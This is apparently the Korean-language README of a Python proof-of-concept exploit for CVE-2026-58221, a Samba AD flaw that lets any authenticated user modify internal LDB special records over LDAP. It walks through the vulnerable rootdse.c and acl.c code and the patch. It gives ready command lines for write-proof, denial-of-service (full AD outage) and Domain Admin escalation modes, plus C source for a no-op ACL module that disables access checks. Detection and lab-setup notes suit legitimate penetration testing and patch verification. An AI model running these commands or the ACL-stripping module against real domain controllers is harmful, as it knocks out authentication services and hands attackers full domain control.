
CVE-2026-58221에 대한 Python PoC: LDAP를 통해 Samba AD LDB 특수 DN ACL 우회를 검사하고 악용하여 쓰기 접근을 입증하거나, AD 서비스를 중단시키거나, Domain Admin으로 권한을 상승시킵니다.
CVSS 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
인증된 모든 도메인 사용자는 LDAP를 통해 내부 Samba LDB 특수 레코드(@MODULES, @PARTITION, @SAMBA_DSDB)를 수정할 수 있으며, 이로 인해 서비스 거부(모든 AD 서비스 중단) 또는 도메인 관리자 권한 상승(로컬 파일 시스템 접근 권한이 있는 경우)이 발생할 수 있습니다.
| 상태 | 버전 |
|---|---|
| 취약 | Samba AD DC >= 4.0.0 (패치 이전의 모든 버전) |
| 수정됨 | 4.22.11, 4.23.x, 4.24.x |
보안 공지: https://www.samba.org/samba/security/CVE-2026-58221.html
두 가지 결함이 결합되어 Samba의 내부 LDB 레코드에 대한 모든 접근 제어를 우회합니다:
rootdse_filter_operations() — 불충분한 인증 검사source4/dsdb/samdb/ldb_modules/rootdse.c에서 rootdse_filter_operations() 함수는 LDAP 요청 체인의 첫 번째 필터입니다. 이 함수는 익명 호출자만 차단하며, 권한에 관계없이 인증된 모든 사용자는 통과됩니다:
// rootdse.c — BEFORE patch
static int rootdse_filter_operations(struct ldb_module *module, struct ldb_request *req)
{
// Only blocks anonymous — all authenticated users pass through
if (session_info->security_token == anonymous_token) {
return LDB_ERR_OPERATIONS_ERROR;
}
return ldb_next_request(module, req); // → passes to ACL module
}
acl.c — 특수 DN ACL 우회source4/dsdb/samdb/ldb_modules/acl.c에서 ACL 모듈은 LDB 특수 DN(@로 시작하는 DN)에 대해 모든 권한 검사를 건너뛰며, 신뢰할 수 있는 내부 작업만 해당 DN에 도달한다고 가정합니다:
// acl.c — lines 1203/1894 (Samba 4.22.6)
if (ldb_dn_is_special(req->op.mod.message->dn)) {
return ldb_next_request(module, req); // NO permission check!
}
결합된 효과: 인증된 저권한 도메인 사용자가 @MODULES를 대상으로 LDAP 수정 요청을 보냅니다. 이 요청은 rootdse_filter_operations()를 통과하고(익명이 아님), acl.c에 도달하며, 여기서 특수 DN을 인식하여 모든 ACL 검사를 건너뜁니다 — 수정이 성공합니다.
이 수정은 요청이 ACL 모듈에 도달하기 전에 rootdse_filter_operations()에 ldb_dn_is_special() 검사를 추가합니다:
// rootdse.c — AFTER patch (4.22.11)
static int rootdse_filter_operations(struct ldb_module *module, struct ldb_request *req)
{
// NEW: Block all operations on special DNs from external connections
if (ldb_dn_is_special(req->op.*.message->dn)) {
D_ERR("CVE-2026-58221-ATTACK: %s\n", ldb_dn_get_linearized(...));
return LDB_ERR_OPERATIONS_ERROR;
}
// ... rest of function
}
LDB는 Samba의 내부 데이터베이스(sam.ldb)로, Windows의 NTDS.dit에 해당합니다. 모든 Active Directory 객체를 저장하며, 요청을 처리하기 위해 모듈 체인 아키텍처를 사용합니다.
samba_dsdb 메타 모듈samba_dsdb는 전체 Samba 모듈 체인(약 30개 모듈)을 초기화하는 단일 진입점입니다. 이 모듈은 다음을 수행합니다:
samba_dsdb.c에서 하드코딩된 모듈 목록(modules_list1, modules_list1a, tdb_modules_list, modules_list2)을 읽습니다forced_module_msg 불투명 값을 설정합니다 — 이는 데이터베이스에 저장된 모든 @PARTITION/modules 값을 덮어씁니다이 때문에 개별 모듈은 단독으로 로드할 수 없으며, samba_dsdb가 제공하는 컨텍스트 없이는 Protocol error (2)와 함께 충돌합니다. 또한 데이터베이스의 @PARTITION/modules를 수정해도 실행 중인 모듈 체인에는 아무런 영향이 없는 이유이기도 합니다.
| DN | 용도 | 수정 영향 |
|---|---|---|
@MODULES/@LIST | 연결별로 Samba가 로드하는 모듈을 제어 | 충돌 (samba_dsdb에서 변경한 경우) |
@PARTITION | 파티션 구성 및 파티션별 모듈 | 무시됨 (forced_module_msg에 의해 덮어쓰기됨) |
@SAMBA_DSDB | 내부 samba_dsdb 구성 | 충돌 |
safe-write (비파괴적) ✅@MODULES에 동일한 값(@LIST: samba_dsdb)을 다시 씁니다. 서비스에 아무런 영향을 주지 않으면서 쓰기 접근 권한을 입증합니다. 침투 테스트에 권장됩니다.
python3 exploit.py --check -H DC_IP -u 'user@domain' -p 'password'
python3 exploit.py --exploit -H DC_IP -u 'user@domain' -p 'password' --method safe-write
dos (파괴적) ⚠️@MODULES/@LIST를 개별 모듈 이름으로 대체합니다(acl/aclread 제외). 다음 연결 시 모듈이 samba_dsdb 컨텍스트 없이 초기화에 실패하여 → 모든 AD 서비스가 중단됩니다(LDAP, SMB, Kerberos, DNS).
python3 exploit.py --exploit -H DC_IP -u 'user@domain' -p 'password' --method dos --force
영향: 전체 AD 중단. 복구하려면 로컬 콘솔 접근이 필요합니다. 모든 도메인 인증이 중단됩니다.
escalate (도메인 관리자 — 로컬 접근 필요) 🔴도메인 관리자 권한을 획득하기 위한 전체 익스플로잇 체인:
@MODULES가 쓰기 가능한지 확인 (원격)acl.so / aclread.so를 no-op 버전으로 교체 (로컬)python3 exploit.py --exploit -H DC_IP -u 'user@domain' -p 'password' \
--method escalate --force \
--base-dn 'DC=domain,DC=local' \
--target-dn 'CN=user,CN=Users,DC=domain,DC=local'
No-op ACL 모듈 소스:
#include <ldb.h>
#include <ldb_module.h>
static int noop(struct ldb_module *m, struct ldb_request *r) {
return ldb_next_request(m, r);
}
static const struct ldb_module_ops ops = {
.name="acl", .add=noop, .modify=noop,
.del=noop, .rename=noop, .search=noop
};
int ldb_init_module(const char *v) {
return ldb_register_module(&ops);
}
| 모드 | 영향 | 요구 사항 |
|---|---|---|
--check | 없음 (안전) | LDAPS + 도메인 자격 증명 |
--assess | 없음 (분석) | LDAPS + 도메인 자격 증명 |
--exploit --method safe-write | 없음 (쓰기 증명) | LDAPS + 도메인 자격 증명 |
--exploit --method dos | 전체 AD 중단 | LDAPS + 도메인 자격 증명 |
--exploit --method escalate | 도메인 관리자 | LDAPS + 도메인 자격 증명 + DC에 대한 sudo |
--cleanup | 권한 상승 되돌림 | LDAPS + 도메인 자격 증명 + DC에 대한 sudo |
--fix | 중단된 DC 복구 | DC의 로컬 콘솔 |
# Safe vulnerability check
python3 exploit.py --check -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd'
# Assess exploitation impact
python3 exploit.py --assess -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd'
# Non-destructive exploitation proof
python3 exploit.py --exploit -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd' \
--method safe-write
# DoS (DESTRUCTIVE — requires explicit authorization)
python3 exploit.py --exploit -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd' \
--method dos --force
# Full Domain Admin escalation (requires sudo on DC)
python3 exploit.py --exploit -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd' \
--method escalate --force \
--base-dn 'DC=domain,DC=local' \
--target-dn 'CN=testuser,CN=Users,DC=domain,DC=local'
# Reverse all changes after escalation
python3 exploit.py --cleanup -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd' \
--base-dn 'DC=domain,DC=local' \
--target-dn 'CN=testuser,CN=Users,DC=domain,DC=local'
# Fix crashed DC (run on the DC itself as root)
python3 exploit.py --fix
ldapsearch, ldapmodify) — apt install ldap-utilsescalate/cleanup의 경우: DC에 대한 sudo 접근 권한 + gcc, libldb-dev, pkg-config모든 모드는 각 단계에 대해 타임스탬프가 기록된 항목을 담은 cve-2026-58221-evidence.json 파일을 자동으로 생성하며, 침투 테스트 보고서에 포함하기에 적합합니다.
--check 모드를 실행하여 패치 확인 — "NOT VULNERABLE"이 반환되어야 함CVE-2026-58221-ATTACK 항목(패치에 의해 추가됨)이 있는지 로그 모니터링패치(4.22.11+)는 차단된 시도를 기록합니다:
D_ERR("CVE-2026-58221-ATTACK: %s\n", ldb_dn_get_linearized(...))
패치되지 않은 시스템에서는 @로 시작하는 DN을 대상으로 하는 LDAP modify 작업을 모니터링하십시오.
이 PoC를 안전하게 테스트하려면 격리된 환경에서 Samba AD DC를 프로비저닝하십시오:
# Debian 12 / Ubuntu 22.04+
apt install samba smbclient winbind krb5-user ldap-utils
# Provision domain
samba-tool domain provision \
--realm=LAB.LOCAL --domain=LAB \
--server-role=dc --dns-backend=SAMBA_INTERNAL \
--adminpass='YourAdminPass!'
# Configure LDAPS
# (TLS certs are auto-generated in /var/lib/samba/private/tls/)
# Add to /etc/samba/smb.conf [global]:
# tls enabled = yes
# tls keyfile = /var/lib/samba/private/tls/key.pem
# tls certfile = /var/lib/samba/private/tls/cert.pem
# tls cafile = /var/lib/samba/private/tls/ca.pem
# ldap server require strong auth = allow_sasl_over_tls
systemctl start samba-ad-dc
# Create test user
samba-tool user create testuser 'TestP@ss123!'